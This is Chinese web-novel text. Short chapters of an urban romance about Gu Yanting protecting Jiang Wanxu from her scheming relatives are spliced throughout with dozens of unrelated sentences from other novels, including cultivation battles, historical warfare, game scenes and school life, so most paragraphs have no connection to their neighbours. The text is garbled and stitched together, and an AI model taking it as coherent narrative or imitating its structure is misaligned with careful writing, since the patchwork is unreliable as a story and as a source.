其他三洲的人听到这个称谓一头雾水,海洲的人却露出了若有所思之色,看向神秘少年的目光全变得说不出的敬畏,显然猜到了他的来历。
第一卷 第97章 他最近太闲了
顾彦廷的私宅,是一座位于半山的庄园。
车子刚停稳,管家张姨就撑着伞迎了出来。
看到顾彦廷抱着浑身是伤的江晚絮下来,张姨吓得手里的伞差点掉了。
“哎哟,作孽啊!这是怎么了?”
“去放热水。”
顾彦廷没有解释,脸色阴沉得可怕。
“准备一套干净的睡衣,还有医药箱。”
外面的顾客一边等待着,一边和身边的熟人说说笑笑,氛围温馨自然。
晋云凛能被这些鬼话给骗了:你手机没了,还不能给我传个讯息符咒?
“我魔鲨大将,也愿意臣服在龙王陛下的脚下,更加愿意接受魂契!”这时,魔鲨大将也来到萧轩的跟前,直接双膝跪地,五体投地。
许悄悄理了理身上的衣衫,慌乱地看了一眼衣柜,似乎没有什么不妥的。
刚刚他已经用了三成的力量,三成看似不多,但对于已经突破到第九重玄甲功的徐凡来说,即便是三成的力量,你也是以数十吨开头的。
一股酒气全部击在了鼠妖身上,鼠妖吱的惨叫一声,被那股酒气击飞了好几米,要不是有墙当着,它可能会飞的更远。
难不成,她认为他是她的私人物品?他做什么、说什么,都得听她的安排?
华子辉讪讪一笑,这白叔叔装什么深情,有白蔷在,他能抹去他曾经的灰色记录吗?
镇魂街虽然拥有强大的实力,但是在人间,他们是不能用武力来为自己谋财的,这也是每个镇魂将公认的。
“寂灭派虽然很强,完全可以算作对抗妖族的中流砥柱,但这种德行的隐世宗门,的确让人喜欢不起来。”平妖子说完这话,像是解开了心结一般,笑道:“”刚才我是不是太懦弱了?
一口气说完这番话,萧援朝把雪茄放在嘴里,深深的抽了一口,似笑非笑的看着马卡龙。那种轻蔑的眼神,那种不屑一顾的神色,还有……面对蝼蚁的无视。
之后在军队中,虽然战友们还是会彼此照顾的。但是那种照顾,和陈九想要的照顾,是不同的。
其实凭藉秦风交代的事情,章君浩完全可以将霍泽源赶下台去,但是仔细想了想,还是算了。
张贵当然不会是平白无故接近牛飞,牛飞是都察院新任的御史,又背靠顾佐这棵大树,自然是掌柜这种商贾结交的对象。
这话,他真不能保证。因为现在,他跟韩悦的关系就是不明不白的。
老曹他们装模作样喊着“救火”。可谁手里有工具。只能看着火越烧越旺。
虽然他的手上拿着刀子,但是凭借他已经被酒色完全掏空了的身体,想要刺中王博远,这完全就是痴人说梦而已。
望过去,各家店都是满员,旁边的麦当劳肯德基也是满满当当的,想想也知道,在麦当劳肯德基旁边的餐厅,还能有什么地方特色呢。
他卡的就是你做战术规避的那一刻,当战术规避做出来的时候,就无法改变力学规则,只能把这个规避动作完成。
“哼,我不关心你谁关心你呀!好了好了,要回去了可不能哭,别人该说东吾王待你不好了!”史清倏傲娇地嘟着嘴巴,赶紧胡乱的替沈婉抹了一把脸上的泪水。
得到了魏桦的安慰,陆羽的心中这才好受了许多!紧接着陆羽便听到身边的魏桦微笑着继续开口说道。
第一卷 第98章 是他太天真
顾建宏,他的好二叔。
还真是什么下三滥的手段都使得出来。
“顾总,我们要动二爷吗?”林舟问。
“不急。”
顾彦廷眯了眯眼,眼底闪过一丝精光。
“打蛇打七寸。”
而两人这么静静地相拥了好一阵,然后陆云璟便拖着安谨回到了房间中休息去了。
同一时间,天鸿集团开始阻击另外一个家族集团,三大顶级家族集团之一的曹氏集团。
寒峰一听感觉有戏,当年秦国商鞅,张怡,范睢,李斯都不是秦人,而秦国的统一悄悄离不开这些人。
水花打在鲤鱼王的鳞片上,这家伙不仅没有任何的不适,反而享受的微眯着眼,时不时的摇摇头。
江枫在一个木制栏杆旁停下了脚步,应为他也感觉到了不对劲,本来在街道还能看到不少感染物,但是公园里面却空无一物。
这座大山是东西走向,他们来时的地方就是大山的边缘一角,而他们要前往的才是真正凶险的地方。
两个弟弟也是帮家里忙活了一上午,早已饿得不行,但仍是郑重地看着李英云,请她说下去。
“我是不是不适合做魔教中人?”魅影忽然苦笑着发问,打断邪阳的思绪。虽然是苦笑,但那妩媚的表情还是深深扣动了他的心弦。
慢慢的他也就学乖了,为了做一个任务,暂时低下头没什么关系,就怕这头一低就是一辈子。
“那你的父母呢?他们对你也不好吗?”邪阳见魅影哀伤,轻声问到。
而掌握火锅底料的炒制就等于掌握了一家店的核心。这是一家店秘而不宣的核心机密。川渝地区每一个能开成功的麻辣火锅店都有自己的独门秘方。而且这些秘方一般都只被老板掌握着。
而了无虞,在出了房门后兜兜转转了几圈,这才找到费南刹的所住的地方。
话到此,了无虞竟不知道自己还能再说什么。一时间,两人无言。
现在王大壮已经工作一年多了,因为够节省,所以也积攒下了十几万的存款。
上次大哥说的就是天帝的内殿有异,如果蛇母真的在内殿的某一个密室的话,那朝阳殿的内殿必定结界阵法重重。
“谢谢你!”塔望的声音从郭飞的背后响起,郭飞转过身,塔望正笑着看着自己,并且伸出了一只手。
后侧的刘莎莎和雨薇便有些瑟瑟发抖,很恐惧,显然是在蜜罐中长大的,没经历过这样的场面。
“夙厉,你莫不是将本君当成了死人?”费南刹两指一动,夙厉的身体才恢复如常。
其中比萌萌慢了十几分钟的,便是行风,到底是有些道行的人呢。
星耀神朝也死了莫轻寒,之所以没动手,也是因为孔灵儿的缘故。
半个钟头后,两个家伙狼奔豕突衣衫不整的窜出别墅!看那副失魂落魄的德行、是被申不疑收拾的不轻。
杜淳安去了村长家,提了帮忙收割稻子的事,杜主薄会说话,为了感谢村里的收留,车队过来帮忙,都种过田的,不会添乱,闲着也是闲着。
“好,只要它留下,定水珠我龙向阳双手奉上,”龙向天伸手指着金蛋道。
就在青龙始祖话音刚落,已经重伤不起的巴隗,一掌击打在身后背着的葫芦上,葫芦自行飞出,一层层波纹自葫芦上荡漾开来。
第一卷 第99章 公司都不管了
叶寒疯了。
为了减刑,他事无巨细将自己所知道的一切都坦白了。
“是顾建宏,就是他!”
“他给了我五百万现金,就在我公司的保险柜里,还没来得及存!”
“我有他给我打电话的录音!我手机里有通话录音!”
这就是人性。
还有经常跟着刀疤脸狐假虎威的一帮家伙,怎么这会儿好像良心发现了一样,和以前大不一样了?
我心事重重的走回了刚才的路口,继续等着夏莹莹的信息,趁着这时候我给舅舅打了一个电话,说明天学校放假晚上去同学家玩就不回去了。
看来在这些古老宗教面前,这件事已经是公开性质了。不过好在大红衣只是做出了善意的问候,想必也不会去为难他们,这也就代表光明教廷不会对叶倾城做什么手脚,夺取神格力量,这倒让杜飞放心了不少。
“呵呵,你逃不掉的。”东方婉儿微微一笑,只见隐藏在黑暗之中的她素手一扬之下,一道虚空漩涡却是凭空出现在了蒙放身前。
终于,巨足与金色巨龙的力量一齐耗尽,齐齐爆裂开来,肆虐的力量,几乎将此方虚空都给彻底震碎,火凤与龙戬对于这一切都仿佛置若罔闻,而在拿出拿全部眼中,只有眼前的对手。
林东他们一个个飞上中间的石台,直径九十九米的石台容纳五百人轻轻松松。
“一切,听你的,不过,我只有一个要求!”李琳淡声道,只不过,在她眼神深处,却是有着一丝浓浓的怨恨之色。
“没什么,这只是一次意外而已。”林柔韵淡淡的说道,并没有要继续这个话题的意思。
龙三角是什么人,自由之城没人不知道,说一不二,为人正直,乃是一个有节操的人。
杜飞吐了一口唾沫,赶紧叫醒樱花姐妹,两姐妹此刻也发现不对劲。
接着,几人就开始为周长远的事商量了起来,讨论如何对付周长远。
如今老九虽然有办法,搞死一两头六级魔兽,然并无卵用。那样不仅耽误时间,还有可能被其他魔兽围攻。所以老九只能老老实实的偷渡了。
当杨杰凯穿着这副极其“前卫”的行头走出森林后,恨不得立即找个地缝钻下去,正如骆静雅所说,他的确创造了崭新的回头率吉尼斯世界几率。
“哇哈哈哈哈!你生前是我的玩物,死后一样还是我的玩物。乖乖让本大爷吃了你吧!”夏邕狂傲的声音从楼下传来。
毕竟这段时日佛宗确实闹腾的太过火,不仅大乘教的屁股没擦干净,连灵智这位僧主都陷了进去,就算让别人来帮忙说话,也没底气和立场。
与想象中重心不稳完全不同,这浮桥稳如磐石,就好像那一旁的石子路一样,这让朱纩一时兴奋不已。看着不远处的对岸,他一时间充满了信心。
郭紫铭默默坐在椅子上沉思,步千怀也没有催促的意思,哪怕被人发现,自己也无所畏惧。
因为王颖的第一次,就是被杨杰凯拿走的,虽然当时的情况有些特殊,不过事情毕竟已经发生。
蓠魅趴在桌上浅眠,原本他是在睡觉的,但因为南何回来的缘故,他一点儿都没有要睡的意思了,于是便闭着眼睛听着他们说话。
第一卷 第100章 求神拜佛有什么用
秦兰睁开眼,看着顾建宏。
以前觉得他是个老实人,一心辅佐大哥。
可现在看来,这张老实的面皮下,藏着的不知道是什么狼子野心。
“老二,你想说什么?”
秦兰的声音有些沙哑。
“我是想说,为了顾氏的大局,是不是先让我代管一阵子?”
顾建宏把文件推到秦兰面前。
那名弟子来到门庭前,收拾了下穿着,接着才恭敬的走入。房中一人正盘膝而坐,浓郁的药香弥漫在空气之中,吸上一口身体都有轻灵之感。
“他究竟想要什么?”这个问题一直困扰着易征其。他把两人之间的对话不断地重复,再重复。又联系到了在蔡老头那吃饭的场景。
”沫沫翻了个白眼儿,而坐在她旁边的自然不会是别人,正是一直和她在一起的贝尔格里斯,他的右臂上有道剑伤,但看上去依旧有些触目惊心,沫沫正在给他包扎。
很显然李靖已经相信了张宝相所言,毕竟张宝相的言辞亦真亦假,加上许子陵现在确实又真的劫持了他二人,所以李靖不得不相信。
这是一个恐怖的人,拥有两大异象,逆天开出了第二神藏,融合两大特殊血脉为一体,强大的让人生畏。
“滚!我有正事和你说!”李宗晴见他这调笑自己的样子,气就不自一处而来。
高桥信以为,叶途飞要么是在暗堡设计中出了问题,要么就是不想在火焰喷射器的威力下白白损失兵力。可高桥信却万万没有想到,叶途飞竟然以暗堡为他设了个套。
要知道宅男明面上的身份虽然是太守府里的人,但并没有什么品阶,真要较真儿起来说他是一介平民也并无不可,反观刘光允这边却是实打实的武官,虽然只是最末流的偏将,可也是经过朝廷认证的。
这二郎山连绵数十里山脉,期间道路无数,想把弟兄们封在大山里,确实是异想天开。但叶途飞却紧蹙着眉头,不做声。
欧阳克简直不敢相信自己的眼睛,他此刻多么希望,眼前所见的一切,都是噩梦。
叶隐知心不是在开玩笑,叶无道很清楚,所以这个家伙很识相地耸耸肩,做出委屈状。
刘国轩自然知道时间的重要,突袭最害怕的就是被敌人缠住,一旦北京城附近地清军源源不断的赶来,那么别说去突袭,恐怕只能突围了。
想要在银河网络上的智能生命眼皮底下玩这个花样,脑波模拟的精确度必须到足够以假乱真的地步。
同时城墙上的布置的光炮,在这一瞬间朝着外面的机器人和悬浮车开火,顿时内外两处光束四处飞射,爆炸声彼此起伏着,一架架的悬浮车坠毁到地上,机器人无数毁灭在光束之下。
“那是因为这个老头真正空明的境界,或许是因为真的想要渡化叶无道,否则他当晚不会保留实力。否则,叶无道恐怕没那么好过。”男人手掌摊开,蝴蝶顿时消散无形,一圈很好看的五彩光粒在手掌周围盘旋着,煞是好看。
他们走出了大门,来到了路边,上了旅游车,在他们原来的座位上坐了下来。导游清点了人数,人都到齐了,汽车便开动了。
“啧啧……王大人好气魄,无怪乎能够直谏纳言。”王大人的身畔又是一片叫好声。
“秋?你这几日有路人甲的消息了没?”原来这几天南宫都去找我去了。
第一卷 第101章 我都听你的
江晚絮已经能下床走动了。
虽然伤口还在隐隐作痛,但精神好了不少。
顾彦廷简直把她当成了易碎的瓷娃娃。
这也不让动,那也不让碰。
就连喝水,都要亲自喂到嘴边。
“我自己能行。”
江晚絮无奈地推开顾彦廷递过来的苹果块。
“我又不是手断了。”
“听话。”
顾彦廷霸道地把苹果塞进她嘴里。
虚空领域也极为不同,能够凝聚领域内的一切法则,让一切法则都有迹可循。
那股不朽不灭的古老气息也被黑影带走,一切都仿佛恢复了平静。
他再次苦笑,抬头遮盖头顶的长草间,已有些许透亮。夜已过,天亮了。
“他居然能在我的领域中坚持下来?”老者眼睛一瞪,不敢置信。
对于这黑炎虎,吕枫没有任何的怜悯,弱肉强食本是这世界的规则,更何况,黑炎虎还是那种残暴无比的灵兽,若是今天自己没有战胜它,相信绝对会成为它的口粮,对此,吕枫毫不怀疑。
丹药入口,云天空原本因为暗劲所受的伤,变得有些苍白的脸色,顿时就好了许多,看的金破咬牙切齿。
毒魃黄鳄从沼泽里浮出睡眠后,扬天一甩自己的宽鄂巨首,瞬间沼泽的泥浆乱飞,溅了王野全身,也捡到了关慕泠等人的身上。
虚空陡然颤响,一条百丈长宽的空间裂缝裂开,里面竟然是一片黑暗国度,鬼哭狼嚎,魔火飘扬,恍似一座万丈深渊。
九位楼主齐聚进入黑色漩涡,九重楼第九层楼塔顶现世,依旧不可进入。
第二天,赵原早早地起床,走出屋子一看,果然一片银装素裹,入目所见都是白茫茫地一片,树上、屋顶上都是积雪。
维鲁斯暗叹完了,正要下令,却看到自己仅存的残兵们拿起了枪,朝着哈克的方向瞄去,而自己和吉姆则是被挡在了后面。
他们亲自参与了十年前的大比,须知,在十年前,哪怕是天赋还在他之上的张无妄也没有进入四强,但是这杨寻秋,无论是从哪里来看,都要在当时的他们之上。
亲卫一声呼喝,飞兽闻声而动,顿时在天空拉出一道绚烂的痕迹,直奔山脚而去。
“张老师,李银柳出事那天,你去了哪里?”原本一直在旁边默默听着没有说话的秦沧,忽然开了口,询问的对象正是秦凯的母亲——张老师。
那三昧真火碰到了锁链矩阵,发出了如同爆豆一般噼里啪啦的响声。那火焰似乎略有不甘,继续卷席着锁链矩阵。
慕雪芙冷眼看她,嘴角噙着一缕似笑非笑的弧度,无意与她说话,含笑不语。
见天劫终于降临,杵平几人脸上大喜,猛的收手。那巨大的火莲顿时被火眼蛇收了回去,火眼蛇眼中满是怨恨,天劫已经被引动了,这个时候收回火莲又有何用?
惊疑不定地看着远处,散发着神圣气息的妙玉散人,一时之间,九幽鬼尊倒真的不敢再轻举妄动了。
“你们这样不是在为难我吗,这样一块晶石没有什么出奇之处,就算有东西,也不会是珍稀之物,你们这样还想跟我打赌?”夏子轩有些为难的说道。
此时那两个家伙脸上青一阵白一阵,他们不是香港本地人,这里的人都不认识他们,就算是华夏国里,也没有多少人认识他们。
吃完饭之后,杨志等人被姜凡打发回去上课,姜凡则是打了辆出租车,朝市中心赶了过去。
第一卷 第102章 你连外公外婆都不管了吗
日子好像终于平静下来了。
顾建宏进去了,叶寒也进去了。
顾老爷子虽然身体大不如前,但精神头一天比一天好,看着顾彦廷掌权,他也算是放了心。
至于江晚絮。
她在半山别墅被养得很好。
红衣低头,眼中带着复杂,其实他也不明白,为什么皇上会让主子和亲,炎国的镇国公主被保护的太好,让他们想要调查都无从下手。
闻声,同样困意十足的林雅夕,也随着打起了哈欠,并无力询问道。
“知道我为什么不杀你么?”曹无罪没有靠近苏晗风,看着对方裤子上的水渍,一脸嫌弃之色。
御天禧点头,带着幸灾乐祸:“当初四哥还完好不傻的时候,炎国和大蒙有过一次交战,那公主闹着在边关玩耍,不幸被四哥擒获,成为俘虏。
“学校,今天要研究课题,给医院请了假的。”她一边穿外套,一边说道。
曹无罪嘴角抽搐,他刚刚还以为二叔要教自己什么本事,没想居然是逃跑。
只见他身形伟岸挺拔,肌肤白皙透亮,五官如那刀刻般分明而深邃,一头乌黑亮丽头发下,铺着一双英气的剑眉,而眉毛下长着一对勾人的桃花眼,而那眼睛里却住着一对幽暗深邃的冰眸子。
土地爷说的机会是什么呀?那就是大公子李德仁的二房太太三姑,生第2胎儿子的时候遇到了难产,儿子是生下来了,三姑一命呜呼了。
在这里放松下来,享受片刻美好,仿佛二人之间的恩怨缠绵只是身外之事。
而那男孩惊恐的坐在屋子的正中央,端着蛋糕的人、那个胖子和一个长得也很俊秀的男子围着自己盯看了好一会。
顾欣然突然笑了笑,她的笑容里满是失望与悲伤,她突然看不懂眼前这个男人,不知道他想要做什么,也不知道他处于什么想法,来和她说这些话。
“自己的事情自己做,都是很简单的事,我能做。”谢漫洛回答道。
顾欣然第一个想到的就是柯少宸。她又给穆饶打了电话询问,发现穆饶对这件事并不知情。
就在江志国迟疑,纠结的时候,突然,广场最里面的一间房子里亮了起来。
对于这山参,水遥虽然决定要把它卖出去了,不过她对于林百川的话也并没有放到心上。毕竟这山参可不像米面豆子那些天天都要吃的东西,是人人都能买得起的,这林百川到时候到底会不会买,水姚也没有报多大的希望。
“如此就多些了,我曾禹一定不会让张叔你的投资白费的。”曾禹听了后,激动的抱拳说道。
沈清儿也不是说不愿意给妈妈钱,只是她的母亲总是想要索取更多,似乎不把她榨干就不行一样。
崆峒派、青城派也不愿意和昆仑派合作,纷纷指责昆仑派作事荒唐,搞得那元婴巅峰期修士也脸上无光,拂袖而去。连尘子还不愿离开,想待在这里渔翁得利。
慕天慎那低沉而有带有磁性的声音传来,沈清儿仿佛入了魔一般。
哪怕现在家里也有着几百万的存款了,可是气势什么的在方华这个大哥面前还真的有些不够看。
墨离就这样将自己所能够学到的神通和术法再一次进行來回的思考和淬炼,想要将它们极尽升华。
第一卷 第103章 心软了
客厅里的空气仿佛凝固了。
江晚絮死死地盯着江建国,手里的照片被捏得变形。
“你说什么?”
她的声音在发抖。
“我外公外婆……他们怎么了?”
自从母亲去世后,外公外婆就伤心过度,搬回了老家休养。
江建国把她接回来后,就彻底断绝了她和娘家的联系,从来不让她回去看望。
夫人声音依旧很优雅的说:“妹妹,这也不是我和老爷能决定的,咱们家总得有姑娘过去,再说,只是去应付一下,能不能被选上也未可知。”优雅和蔼是夫人一贯的作风。
此话一出,记者那边都听到了,发现了了不得的事情,拿着相机,就在不断的拍摄。
天色微亮,罗森从一夜的修炼入定中醒来,直径来到窗户前,视线往东西两个方向而去,无不意外的见到两颗初升的太阳上,有着零零散散的黑点凝聚。
一听皇后二字,卫子夫才知这就是那早已名闻天下金屋藏娇故事里的阿娇皇后,更是心惊不已,卫子夫赶忙下跪,低头谢罪。
“父亲大人!”这一下子可是把想要切腹的仁木信贞直接给打懵了,他一下子便愣在原处。
但见他右手伸进了鲁九阴的心脏之中,下一刻鲁九阴全身的生机在疯狂流逝。
“你是说,十刃全部都会二段归刃了?!”一瞬间空蝼只感觉自己仿佛哔了狗一般。
两人迅速瓜分的战力品后,见时间所剩无几,便不再选择狩猎,而是静候于原地,等待试炼的结束。
盘古盛怒出声,出手更加凶猛,强悍的大手几次把开天斧抓在手中。
“不用,我不累!”语言干脆而利落,这让水叮当微微的蹙了蹙眉,疑惑的表情跃然脸上,都被蓝星儿给看了个正着。
光看轮廓,绝对看不出这两把钥匙有什么不一样的地方,祝桃花的钥匙就这么成了白衢的钥匙。
身如疾电,完颜昊犹如一只飞鸟一般,从空中一掠而起,只是瞬间便来到了黑袍祭司的身后。
白衣宽大从上至下犹如纸片拖至地上,好似吊祭的白幡纸,飘飘缓缓,像是故意的。
张妈妈知道她往常都是这个时间点休息,没发现什么异常,收拾碗筷下楼了。
门口明明直通里面大厅,但她却看不见里头任何一样东西,出现在她眼前的只有金属门框和透明光幕。
甚至这次凌家的行动,也有天宇国皇室那位太子的配合,否则凌家人生地不熟怎么可能行动那么顺利。
标题引用的是我很喜欢的两句话,其实这两句话前面还各少了两个成语,应该是破釜沉舟,百二秦关终属楚,卧薪尝胆,三千越甲可吞吴。
“不,我妈她们不会放过我的!”戴维可以想象到说了之后引起的家庭暴动。
副官往后视镜上看了一眼,恰好看见一抹红色灯光打到陶宝脸上,印得她嘴角上的笑容越发阴森。
“丞相,我们该怎么办?”惊醒过来的刘备,终于想起向诸葛亮求助。
眉眼之中夹杂一丝戾气,想来是杀戮很重,不过整体来说还是让人看得过去的,总不至于让人反胃。
“那她是没在家人的允许下想要把孩子打掉?”医生脸色也变了些许,这个病人身子本来就弱,如果怀上孩子对她来说是一件很辛苦的事情。
接下来的半个月,沈菀和秦琰夫妻二人都过的很是闲适,秦家那边也没有来找他们的麻烦。
第一卷 第104章 普通夫妻
“晚晚,如果江家真的敢逼你做什么,你告诉我。”
“我一定会让他们付出代价。”
顾彦廷的眼神狠厉,杀气腾腾。
晚晚就是太心软,给了他们太多机会。
才会让这些人一而再再而三地乱蹦跶。
江晚絮看着顾彦廷,心里涌起一股暖流,却又夹杂着酸涩。
她摇了摇头。
“不是被逼的,是我自愿的。”
“自愿?”
顾彦廷眉头紧锁。
柳玉卿激动,她急匆匆的走向李艾,将她抱住。雪幻音一头雾水,不过,她并不反感,反而感觉更加亲切。
江翌听到父母的声音,这才神色稍缓。他一扬手,张豹如沙包一般被他扔出去十几米远,砰的一声摔到了地上,哼哧了半天都没能爬起来。
“事出从权,罗议员,如今的大环境下哪有时间慢慢找证据,你以为拍电视剧吗?证据,只是和平年代的东西,目前,不需要,景佚作为天火城城主,不这样,我们也伤不了他”。
“多谢前辈指点。”徐阳心中暗暗佩服,鬼谷夜炎不愧是天鬼宗泰斗级的人物。这短短时间内就把自己所练功法和体质看个七七八八。
这个记者是一份中医杂志的记者,是一个不折不扣的中医偏激份子,一直都认为中医是这个世界上唯一的医学科学,觉得所有人都应该学习中医,学习西医的都是数典忘祖的人。
李修缘呼吸紊乱起伏不定。初次碰撞,以冲慧对灵窍,他终于尝试到境界修为差距所带来的鸿沟。
不闻当即就要拂袖而去,被不修死死拖住,赌咒发誓,这才让不闻答应再留两天看看。
他是受过严苛训练的杀手,虽然修为手段不如洛长风,可论观察力,这位七杀之一的眼光毒辣则就不知道要甩洛长风几条街了。
听到叶修并不知道他师父的名字,叶老和沈老两人的眼里的神色都微微有些失望。
从早上八点到晚上七点,接连做了八台手术,在他想来,此刻的叶修应该是已经累得趴在床上,连手指头都不想动一下了。
到医院处理的时候,她疼得冷汗直冒,坏死的皮处理完之后,上药包扎,医生叮嘱不能碰水,要定期换药,防止感染,不然肯定会留疤,手背上的皮肤特殊,处理得好的话,以后会恢复如初。
陈元心头剧震,同时也确定了这道黑色身影,正是失踪了几个月的牧冷。
越苏迅速上前,腰间长剑划出,果断往被子蠕动的地方刺了过去。
一只巨大的金色手掌出现,让她化险为夷,同时她的目光也是被此刻闪烁着金光的牧天骄吸引。
陈沐转身,替他回答的,是从元生秘藏那座高耸入云山峰上劈下的七彩雷霆。
她还是摇头,穆霆琛可还没提过要复婚的事儿,现在安雪莉是个什么情况她还不清楚,他也没提过。
秦天并不急着走出这一步,个中的窍门,忌讳他都知之甚少,还是先等赵老头返回,向他问清其中的细微末节,再另作结丹的打算。
听到刘冥的话,思诺顿时倍感压力,于是立即把毒阎罗召唤了出来。
他微微一转头,示意安宁立即上前去将那玉佩捡了起来,交还给老太监。
仅容一人转过身的厨房里,博扬将袖子挽到了臂弯处,正放着流水,仔细的清洗着土豆上的泥土。
“陆教授?陆教授?你还记得我吗?”青栩凑过去,手指在陆璩眼前晃了晃,试图引起陆璩的注意。
第一卷 第105章 出了事,有我给你顶着
江晚絮把脸埋进枕头里,眼泪悄无声息地滑落。
“都听你的。”
第二天一早两人就出发了。
虽然决定低调,但顾彦廷那身矜贵的气质,是怎么挡都挡不住的。
即便戴着口罩,穿着最简单的黑色冲锋衣,站在人群里依然鹤立鸡群。
“只要你不是我们的敌人,随时都欢迎你,但如果你是心怀不轨的话,那我就不会客气了。”张凡一脸严肃的跟一辉说道。
“你们都转身过去,或者该干嘛就干嘛去!”张凡对着张汉钦和一辉说道。
现在,把这些记忆存下来,还是那句话,我怕我忘了。现在,已经有很多都淡忘了,头脑要革命了,留下点资产以后会有用的。
来星辰饭店,一般有卡的客人都是在这里面花费五十万以上才有的。
加藤爱说完,直接瞬身消失在了原地,只留下宇智波带土很久都没有离开。
趁这个机会,林峥跳到副驾驶的座位上,两脚一蹬,就从被打烂的车前窗窜了出去,在发动机盖上一滚,接着跃入SUV的车厢里。
众人听到他这么说顿时炸开,立刻想起当初道教大会上的百鬼围攻,纷纷露出恐惧的神色,议论纷纷。
一名手持佛珠的佛陀怒哼一声,招呼其他佛陀,所有人合力,一起向前杀去。
时间过去了2分钟,荧幕上的数据也停止了跳动,最后显示出了最终结果。屏幕上显示着十条数据,显然是前十名的数据。
夕阳西下,残霞把天空映得通红,整个世界都陷入血一般的悲怆。
剑气将蟾蜍的半个头都斩了出,蟾蜍巨大的身子倒在了地上,震得地面都嗡嗡作响。
战斗呈现一边倒,永恒弟子虽然英勇,但是数量太少,当最后一个弟子身上被刺了无数个剑孔,也始终没有说出求饶的话。
丁火摊开手掌,掌中燃起一朵惨白火焰,手掌晃了晃,这朵惨白‘色’火焰变成了一个圆弧状,头尾渐成,又是一个蛇形。
花青衣应该是明白孔婷的厉害的,一个有钱的人什么不能拥有呢,她如果想要自己的命,恐怕也不是什么难事。
“夫君……”雪莉轻轻在蓝幽明的身上滚了滚,一身得体的睡衣将她玲珑有致的身躯遮挡了起来。纯洁的蓝幽明当场就有点想入非非,但是还是那句话——有贼心,没贼胆。
而此时军分区为了配合李子元的伏击,集中独立一团以及几个县地方武装,在潞东境内两天打了七战,成功的在这列粮食列车出动之前,将正在对潞东军分区扫荡的日伪军,给吸引到了潞东境内。
两道气息在体内扫射,由下至上,经过大腿,经过丹田、五脏、颈部,便停住,不得进入分毫。
如果要从棒子半岛登陆日本,必须要将这两个地方的日军给全部消灭才行。
龙一有些不屑的道:难道只有Y们才知道里面到底是什么东西吗,告诉Y们,那个‘玉’蟾王们龙‘吟’家族窥视已久,只是奈何不知那老和尚把它藏在了什么地方,所以一直没有下手。
说来。这张政委叫张红民!上将军衔。是陈司令的搭档。他比陈司令还晚一年担任这军区政委呢!只不过。他的年龄比陈司令要大几岁。所以和陈司令相比。他就显得比较老了。
第一卷 第106章 我恨死你了
江晚絮吸了吸鼻子,把头埋进顾彦廷的胸口。
听着他沉稳有力的心跳声,那颗慌乱的心,终于慢慢安定下来。
“睡一会儿吧。”
顾彦廷轻轻拍着她的后背。
“到医院还要两个小时,等到了,我叫你。”
“嗯。”
江晚絮确实累了。
她在顾彦廷怀里找了个舒服的姿势,闭上了眼睛。
梦里,她好像回到了小时候。
外婆坐在院子里的藤椅上,给她扇着蒲扇。
外公在一旁给她削苹果。
“上课!”下午第一节课是数学课,数学老师是一个留着风骚的地中海头型的半秃子,毕竟人家还是有头发的。
虽然表面平静,可内心还是非常震撼的!皇铭的实力与自己不相上下,上次也只是碰巧那个星球的火元素比较多,这才赢了!可他却死在一个原始星球?
瞪大着两眼睛,画面上一个中年人戴着双白手套,手里却捧了一个红色油漆斑斑的盒子,盒子并不大,外面的锁看上去还是很古老的那种黄铜锁。
夜,渐渐深了。窗外传来不知名昆虫的鸣叫声。林鹏躺在床上,抬头看着昏暗的屋顶,默默发呆。
“呼~”陈霆紧张的心态终于放了下来,玩意她真给郭念菲说点自己的不是,那得了!别混不胡了!估计自己老爹都得打断自己的双腿。
所以,在对方知道了俞菲菲是珠宝业著名的品牌之一后,就很急切的想要拿到代理权,而考察过后的俞菲菲也同意了去奔赴宁州,亲自和对方签合同,以及和对方见见面叙叙旧。
其他的校尉一听,纷纷道:“妙计!妙计!”卢植也点了点头。而刘范看着舆图,则陷入了深思。
大过年的,如你们所愿,把神月千鹤写shi了,你们说像我这么善解人意的作者上哪里找呢?
但瞧眼下,真可谓三十年河东三十年河西,周德恐怕在都城风光的时候,也没想到自己会有被关押入狱的一天,而且还是被自己的表兄弟上折子参奏要制他于死地。
杨子羽立刻电话给安安核实,等确定完以后才敢朝着郭念菲走了两步,但依旧和郭念菲保持着三四的距离。
曹大师眯起眼来:“这水也是不凡,应该是极东海眼处取得的。施兄有心了。”他取过注入茶水的瓷杯,抿了一口,久久不言,似是回味无穷。
闻锋踏入屋子的刹那,只觉重重的天幕坠落下来,而地面也似乎剧烈动荡。他仿佛置身于末世之中,天地像尊磨盘一般,将他夹在中间,令他无处可逃,直到被碾成齑粉。
“没,这不最近美国偶像大热么,回头邮寄过去,让他们当主题曲好了,也是一首励志的歌曲,不是吗?”艾斯说道。
挂脖子上吧,跑步的时候敲着xiong口不方便,无奈的只能当汽车钥匙的挂坠。
但是现在,沐晓锋生不出这样的想法,对方的话,愈发的确定了,他是自己的敌人,对自己一定很是熟悉,而傲晴不过是个意外。
“阿萍,一定是有什么好事吧?看你也不着急还挺乐呵的样子。”二少停下车来让甲虫妹妹下车后问。
“周先生请,能被周先生挑中是他们的福气。”武林中人重诺轻生死,周毓说到做到,李春华又岂会反悔。
这些白色粉末,乃是幽州特制的熄火粉。乃是蒋方从一个偷盗的高手手中获得独家秘方配制。只见那些粉末吹到了火把之上。那两个火把立马引起一连串的火光晃动,好像火把的油脂将尽正在做最后的燃烧一般。
第一卷 第107章 好好享受吧
苏青蹲下来,抓着江晚絮的头发,强迫她抬起头。
“实话告诉你吧,我从来都没有把你当成朋友过!”
江晚絮看着眼前这张扭曲的脸,突然笑了。
笑得凄凉又讽刺。
原来如此。
原来她这一生,就是个笑话。
亲情是假的。
友情也是假的。
所有人都恨她,都想让她死。
只有顾彦廷……
只有那个傻瓜,是爱她的。
紧接着,云青雨便看见了丽人那双如宝石般的眼睛,虽然好看,却藏满了愤恨和气恼。
看着私聊栏里面不断刷新数量的条目,陆辰先是一阵愕然,继而直接把聊天频道整个关掉,满脸都是一个大写的囧字。
赵福祥也不知道具体该如何称呼,所以按照电影电视中的礼节抱拳行礼,然后按照刚才衙役说的来称呼面前这个同知老爷。
好半天,陆辰看到一个个布偶,在自己面前,身形变淡,直至透明,终于松了口气。
凉川皱起眉头,带着满腹疑问走出院落,恰好与匆匆而来的林管事碰了个对着。
“危险!”队友的提醒惊醒了亚非,本能的看向凝静。对方的十字弩刚刚抬起,似乎还没有准备好?
骏马果然是一匹宝马,四蹄飞腾,一溜烟奔跑,在关城门之前,柳盼儿进了城。
那卫兵似乎愣了一下,有些疑惑。不过,他们这些NPC很少有狗眼看人低的习惯,只是说了一句“你等着”,便返身进了城主府。
